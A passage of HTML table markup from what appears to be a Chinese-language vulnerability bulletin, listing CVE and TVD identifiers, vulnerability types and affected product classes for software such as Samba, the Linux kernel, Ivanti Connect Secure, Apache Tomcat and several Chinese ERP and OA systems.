"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Apache PyFory 反序列化策略绕过漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-48207</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">反序列化绕过</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">开发组件/序列化</span></span></p></td></tr><tr style="mso-yfti-irow:20;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">Samba </span></span><span style="font-size:
|
||||
9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">打印子系统远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-4480</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">文件共享/域环境</span></span></p></td></tr><tr style="mso-yfti-irow:21;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Linux Kernel Copy Fail 本地权限提升漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-31431</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">本地提权</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">操作系统/内核</span></span></p></td></tr><tr style="mso-yfti-irow:22;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Linux Kernel Fragnesia 本地权限提升漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-46300</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">本地提权</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">操作系统/内核</span></span></p></td></tr><tr style="mso-yfti-irow:23;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Cisco Secure Workload 访问控制错误漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-20223</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">访问控制错误</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">安全管理平台</span></span></p></td></tr><tr style="mso-yfti-irow:24;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Ivanti Connect Secure 栈溢出远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-0282</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">边界设备/VPN</span></span></p></td></tr><tr style="mso-yfti-irow:25;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Fortinet FortiVoice 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-32756</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">边界/通信设备</span></span></p></td></tr><tr style="mso-yfti-irow:26;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Apache Tomcat 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-24813</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:
|
||||
11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";mso-font-kerning:0pt;"><span leaf="">远程代码执行</span><span leaf="">/</span><span leaf="">文件写入</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Web中间件</span></span></p></td></tr><tr style="mso-yfti-irow:27;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Next.js Middleware 授权绕过漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-29927</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">认证/授权绕过</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Web框架</span></span></p></td></tr><tr style="mso-yfti-irow:28;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Kubernetes ingress-nginx 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-1974</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">云原生/入口控制器</span></span></p></td></tr><tr style="mso-yfti-irow:29;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Erlang/OTP SSH 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-32433</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">开发组件/服务端</span></span></p></td></tr><tr style="mso-yfti-irow:30;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">用友时空KSOA save_folder 存在sql注入漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">TVD-2026-17959</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">SQL注入</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">国产ERP</span></span></p></td></tr><tr style="mso-yfti-irow:31;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">(CVE-2026-22679) 泛微 E-cology 10 Dubbo 调试接口远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-22679</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">国产OA</span></span></p></td></tr><tr style="mso-yfti-irow:32;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">孚盟云 PriceList.ashx SQL注入漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">TVD-2026-15690</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">SQL注入</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:
|
||||
11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";mso-font-kerning:0pt;"><span leaf="">国产</span><span leaf="">CRM/</span><span leaf="">外贸管理系统</span></span></p></td></tr><tr style="mso-yfti-irow:33;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">用友NC ResourceManagerServlet 反序列化漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">TVD-2026-15337</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">反序列化</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
